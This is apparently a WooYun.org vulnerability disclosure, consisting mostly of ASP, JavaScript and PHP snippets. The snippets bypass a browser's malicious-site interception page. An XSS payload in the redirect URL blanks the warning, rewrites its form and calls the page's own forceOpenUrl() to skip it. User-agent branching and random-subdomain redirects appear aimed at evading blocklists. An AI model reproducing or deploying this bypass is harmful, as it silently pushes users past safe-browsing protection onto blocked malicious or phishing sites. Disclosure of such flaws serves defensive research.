WooYun.org

<%
Dim ua 
ua = Request.ServerVariables("HTTP_USER_AGENT")
If (Instr(ua, "Windows NT 5.1") = 0 or Instr(ua, "Windows NT 6.1") = 0)  and Instr(ua, "MSIE")>0 Then '除了 xp win7 以外的系统
Response.Redirect("index1.asp")
else
Response.Redirect("index2.asp")
End IF
%>

<%
 dim url
 y=""""
url = "http://www.已被拦截域名.com/?<img/onerror="& y &"document.title='';document.getElementById('safemon').action='http://www.已被拦截域名.com/?';document.getElementsByTagName('div')[0].innerHTML='';forceOpenUrl();"& y &"src=0>"  
response.redirect url
%>
这里目的可以看下拦截页面源码
//忽略警告，继续访问
function forceOpenUrl() { 
	if(warn_from=='se6'){
        external.AppCmd(external.GetSID(window),"sesafe","safebrowsing_openurl", ucode,"", function(i1,s1){})
        location.href = jump;                                      
        return;    
    }else{
    	document.getElementById("safemon").submit();
	}
}
 
function closeWindow(){
    window.opener=null; 
    window.open('','_self'); 
    window.close(); 
}

<script type="text/javascript">
var str=window.location.href;
str=str.split("&@;mk");
if(str[1]!=""){
window.location.href="z7y.php?p="+str[1];
}
</script>

<?php
function randomkeys($length)
{
 $pattern='1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMNOPQRSTUVWXYZ';
 for($i=0;$i<$length;$i++)
 {
   $key .= $pattern{mt_rand(0,35)};    //php随机数
 }
 return $key;
}
header('HTTP/1.1 404');
ob_start();
phpinfo();
$url="http://".randomkeys(5).".xxxx.info/";
 $list1=$_GET["/l?"]; 
 $rurl=$url.$list1."";
header("location: $rurl");
ob_end_clean();
?>